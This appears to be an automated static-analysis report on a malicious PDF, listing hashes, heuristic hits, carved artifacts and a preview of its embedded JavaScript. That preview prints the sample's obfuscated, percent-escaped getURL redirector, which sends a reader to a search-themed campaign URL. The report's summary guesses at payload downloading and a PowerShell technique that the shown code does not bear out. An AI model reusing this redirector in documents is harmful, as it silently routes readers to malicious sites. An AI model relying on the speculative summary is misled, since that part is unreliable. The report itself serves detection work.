Malicious PDF — malware analysis report

Static analysis result for SHA-256 241971eba62db516…

MALICIOUS

PDF

55.4 KB Created: 2011-01-14 00:19:27 +02:00 Authoring application: http://google.wiki.usfca.edu/ (via mPDF 5.0) First seen: 2012-10-29
MD5: 4440ebc85d7c5206ae65ba7dd9061fd9 SHA-1: d517e4a8c934df90f57bed00cb7ebf64bc943c49 SHA-256: 241971eba62db5167781e2b4f28104393c7477084d58d1a436168e5a1f4b7cc9
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The 'EXTRACTED_FILE_STATIC_TRIAGE' heuristic specifically flagged obfuscated JavaScript. This embedded script is the primary mechanism for the malicious activity, likely downloading and executing a second-stage payload. The presence of obfuscated JavaScript and the nature of the PDF structure suggest a downloader or dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9174

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchglobalsite.com/in.cgi?17 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0036_000.js pdf-javascript-stream PDF /JS object 36 at offset 0xD59F 136 bytes
SHA-256: a2620a0be21a26956e8296a3c8163c8c260cb6a920586f15a19c6e170ac30940
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%37'))
stream_003_off00001b03.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x1B03 17812 bytes
SHA-256: 152f9318154930c68f7715a3af95b38122e02d6e3e255fc97f1ea30c5370382e
font_01_sfnt_off0000493d.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x493D 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00007791.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7791 18736 bytes
SHA-256: b34dcfd31056847d45b38e38dfa587cd97296567afd273e4fa2d691232246c04
font_03_sfnt_off0000aa20.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xAA20 18756 bytes
SHA-256: e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9

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